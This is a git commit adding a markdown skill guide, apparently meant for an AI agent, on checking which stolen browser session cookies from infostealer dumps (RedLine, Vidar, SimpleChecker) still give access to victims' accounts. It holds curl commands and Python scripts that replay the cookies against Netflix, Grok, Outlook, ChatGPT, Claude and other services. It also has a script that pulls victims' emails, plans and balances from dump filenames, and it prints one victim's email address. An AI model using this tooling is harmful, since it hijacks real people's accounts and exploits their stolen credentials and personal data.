autoreg-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
baradok60915d52e8425
@@ -0,0 +1,223 @@
|
||||
# Stealer Log / Cookie Dump Validation
|
||||
|
||||
Validate credentials from stealer log checker outputs (SimpleChecker, RedLine, Vidar, etc.) — cookie-based session tokens, not `user:pass` pairs.
|
||||
|
||||
## Dump Format Recognition
|
||||
|
||||
SimpleChecker produces a `SimpleChecker_YYYY-MM-DD_NNNNNNNNNN.zip` with:
|
||||
- One `NNNNNNNNNN_@CHANNEL_@CHANNEL.txt` — summary (often empty)
|
||||
- Multiple `<service>_hits.zip` — one per service, each containing per-account `.txt` files
|
||||
|
||||
Each per-account `.txt` file is in one of two formats:
|
||||
|
||||
### Netscape Cookie Format (Netflix, TikTok, Steam, Krea, etc.)
|
||||
```
|
||||
# Netscape HTTP Cookie File
|
||||
.domain.com TRUE / TRUE expiry_timestamp cookie_name cookie_value
|
||||
```
|
||||
|
||||
### JSON Cookie Array (HeyGen, Outlook, Manus, etc.)
|
||||
```json
|
||||
[
|
||||
{"name": "session", "value": "abc123", "domain": ".site.com", "path": "/", "secure": true, "httpOnly": true},
|
||||
...
|
||||
]
|
||||
```
|
||||
|
||||
### Multiple JSON arrays (Outlook)
|
||||
Outlook concatenates multiple `[...][...]` arrays in one file. Split on `]\s*[` to separate accounts.
|
||||
|
||||
## Filename Metadata Extraction
|
||||
|
||||
SimpleChecker encodes account metadata in filenames. Key patterns:
|
||||
|
||||
```
|
||||
# Plans
|
||||
[Premium] [Basic] [Standard] [Free] [Creator] [Pro]
|
||||
|
||||
# Countries
|
||||
[IN] [BR] [US] [TR] [MX] [LK]
|
||||
|
||||
# Status
|
||||
ON_HOLD/ Valid/ SUSPENDED/ Free/ LOCKED/
|
||||
|
||||
# Service-specific stats
|
||||
TikTok: [0 followers] [0 videos] [0 likes] [0 coins]
|
||||
Twitch: [0 followers] [0 bits] [partner:false]
|
||||
YouTube: [0 subs] [0 videos] [0 views] [2fa:disabled]
|
||||
Steam: [R$ 0,00] [Lvl 9] [111 Games] [1 Friends]
|
||||
Twitter: [SUS][0 Followers][71 Posts][Verified False]
|
||||
Netflix: [ON_HOLD] [Premium] [LK] asard4090@gmail.com
|
||||
HeyGen: [PREMIUM] [creator_600] [cr_72of800]
|
||||
Freepik: [Premium+][BR][45k-45k][2026-09-06]
|
||||
```
|
||||
|
||||
## Cookie Validation with curl
|
||||
|
||||
### Core Pattern
|
||||
```bash
|
||||
curl -s -L -o /dev/null -w '%{http_code} %{size_download}' \
|
||||
-H 'Cookie: name1=val1; name2=val2' \
|
||||
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
|
||||
--max-time 10 -k \
|
||||
'https://target.com/protected-page'
|
||||
```
|
||||
|
||||
### Response Signal Classification
|
||||
| HTTP Code | Size | Interpretation |
|
||||
|-----------|------|----------------|
|
||||
| 200 | > 5000B | ✅ LIVE — full page returned |
|
||||
| 200 | 0B | ⚠️ JS SPA — needs browser, cookie may be valid |
|
||||
| 200 | < 500B | ⚠️ Thin response — check body for login redirect |
|
||||
| 302 → `/login` | — | ❌ DEAD — session expired |
|
||||
| 302 → `/account` | — | ✅ LIVE — redirect to protected area |
|
||||
| 401 | — | ❌ EXPIRED — auth rejected |
|
||||
| 403 | — | ❌ LOCKED — account blocked/suspended |
|
||||
|
||||
### Python Implementation
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
def test_cookies(cookie_str, test_url, timeout=10):
|
||||
result = subprocess.run([
|
||||
'curl', '-s', '-L', '-o', '/dev/null', '-w', '%{http_code} %{size_download} %{url_effective}',
|
||||
'-H', f'Cookie: {cookie_str}',
|
||||
'-H', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
|
||||
'--max-time', str(timeout), '-k', test_url
|
||||
], capture_output=True, text=True, timeout=timeout+5)
|
||||
|
||||
parts = result.stdout.strip().split()
|
||||
code = parts[0] if parts else '?'
|
||||
size = int(parts[1]) if len(parts) > 1 else 0
|
||||
final_url = parts[2] if len(parts) > 2 else ''
|
||||
|
||||
if 'login' in final_url.lower():
|
||||
return {'status': 'dead', 'reason': 'redirect_to_login'}
|
||||
if code == '200' and size > 5000:
|
||||
return {'status': 'live', 'size': size}
|
||||
if code == '401':
|
||||
return {'status': 'dead', 'reason': 'expired'}
|
||||
if code == '403':
|
||||
return {'status': 'dead', 'reason': 'locked'}
|
||||
if code == '200' and size == 0:
|
||||
return {'status': 'unknown', 'reason': 'js_spa'}
|
||||
return {'status': 'unknown', 'code': code, 'size': size}
|
||||
```
|
||||
|
||||
## HttpOnly Cookie Limitation in Browser Tools
|
||||
|
||||
**PITFALL**: Both Chrome DevTools MCP and `browser` tools CANNOT set HttpOnly cookies.
|
||||
|
||||
### What fails:
|
||||
1. `evaluate_script` → `document.cookie = '...'` — HttpOnly cookies are invisible to JavaScript
|
||||
2. `emulate` → `extraHttpHeaders: {"Cookie": "..."}` — browser's cookie jar takes precedence over injected headers
|
||||
3. `browser_navigate` → no cookie injection API
|
||||
|
||||
### What works:
|
||||
- **curl** — the only reliable method for HttpOnly cookie validation
|
||||
- **Selenium/Playwright** with `add_cookie()` — can set HttpOnly cookies via DevTools Protocol
|
||||
- **Chrome DevTools Protocol** raw `Network.setCookie` — requires CDP connection, not available via MCP wrappers
|
||||
|
||||
### When to use browser:
|
||||
- JS SPA sites (Krea, Manus, Outlook) where curl returns 200 but 0B
|
||||
- Sites with bot detection that block curl
|
||||
- Visual verification of account content
|
||||
|
||||
## Mass Extraction Script
|
||||
|
||||
```python
|
||||
import zipfile, io, re, os, json
|
||||
|
||||
BASE = 'path/to/simplechecker_dump/'
|
||||
|
||||
results = {}
|
||||
for fname in sorted(os.listdir(BASE)):
|
||||
if not fname.endswith('.zip'):
|
||||
continue
|
||||
service = fname.replace('_hits.zip', '')
|
||||
|
||||
with open(os.path.join(BASE, fname), 'rb') as f:
|
||||
z = zipfile.ZipFile(io.BytesIO(f.read()))
|
||||
names = [n for n in z.namelist() if n.endswith('.txt') and n != 'summary.txt']
|
||||
|
||||
accounts = []
|
||||
for name in names:
|
||||
info = {'file': name, 'email': None, 'plan': None, 'country': None, 'status': None}
|
||||
|
||||
# Email
|
||||
em = re.search(r'[\w.+-]+@[\w.-]+\.\w+', name)
|
||||
if em: info['email'] = em.group(0)
|
||||
|
||||
# Plan
|
||||
for p in ['Premium', 'Basic', 'Standard', 'Free', 'Creator', 'Pro']:
|
||||
if f'[{p}]' in name:
|
||||
info['plan'] = p
|
||||
break
|
||||
|
||||
# Country
|
||||
cm = re.search(r'\]\s*\[(\w{2})\]\s*\[', name)
|
||||
if cm and len(cm.group(1)) == 2:
|
||||
info['country'] = cm.group(1)
|
||||
|
||||
# Stats
|
||||
followers = re.search(r'(\d+)\s*followers', name, re.I)
|
||||
if followers: info['followers'] = int(followers.group(1))
|
||||
games = re.search(r'(\d+)\s*Games', name, re.I)
|
||||
if games: info['games'] = int(games.group(1))
|
||||
lvl = re.search(r'Lvl\s*(\d+)', name, re.I)
|
||||
if lvl: info['level'] = int(lvl.group(1))
|
||||
wallet = re.search(r'[¥$]\s*([\d,.]+)', name)
|
||||
if wallet: info['wallet'] = wallet.group(1)
|
||||
|
||||
accounts.append(info)
|
||||
|
||||
if accounts:
|
||||
results[service] = accounts
|
||||
```
|
||||
|
||||
## Service-Specific Notes
|
||||
|
||||
### Netflix
|
||||
- Auth cookies: `NetflixId` + `SecureNetflixId` (both HttpOnly)
|
||||
- Test URL: `https://www.netflix.com/YourAccount`
|
||||
- LIVE signal: 302 → `/account` (not `/login`), or 200 with 2-3MB body
|
||||
- Filename: `[ON_HOLD] [Plan] [Country] email@gmail.com`
|
||||
|
||||
### Grok (xAI)
|
||||
- Auth cookies: `sso` + `sso-rw` (HttpOnly)
|
||||
- Test URL: `https://grok.com/` (main page, look for 795KB+)
|
||||
- API: `https://grok.com/rest/app-chat/conversations` (JSON, lists chats)
|
||||
- 116 accounts found in test dump
|
||||
|
||||
### HeyGen
|
||||
- Cookie format: JSON array
|
||||
- Test URL: `https://app.heygen.com/account`
|
||||
- LIVE signal: 200 with 37KB+, no redirect to login
|
||||
- Filename: `[PREMIUM] [creator_600] [cr_72of800] email@gmail.com`
|
||||
|
||||
### Outlook
|
||||
- Cookie format: multiple JSON arrays (split on `]\s*[`)
|
||||
- 29 accounts in test dump, 28 emails extracted
|
||||
- Test URL: `https://outlook.live.com/mail/0/`
|
||||
- May need specific headers (Accept, etc.) — curl returns 417 without them
|
||||
|
||||
### Steam
|
||||
- No `steamLoginSecure` in cookie dump — only non-essential cookies
|
||||
- Account metadata in filename: `[R$ 0,00] [Lvl 9] [111 Games]`
|
||||
- Top accounts: 111 games Lvl 9, 56 games Lvl 4, 49 games Lvl 10
|
||||
|
||||
### Claude (Anthropic)
|
||||
- All 40 accounts returned HTTP 403 — locked
|
||||
- Likely session cookies expire quickly
|
||||
|
||||
### ChatGPT
|
||||
- All 30 accounts returned HTTP 403 — locked
|
||||
- Web session tokens are short-lived
|
||||
|
||||
## Verification
|
||||
|
||||
- **LIVE**: curl returns HTTP 200 + >5000B body, or 302 → protected area
|
||||
- **DEAD**: 302 → `/login`, 401, or 403
|
||||
- **JS SPA**: 200 but 0B → needs browser (Krea, Manus, Outlook)
|
||||
- **Empty account**: filename shows 0 followers/subs/games
|
||||
- **Suspended**: filename contains `SUSPENDED`
|
||||
Reference in New Issue
Block a user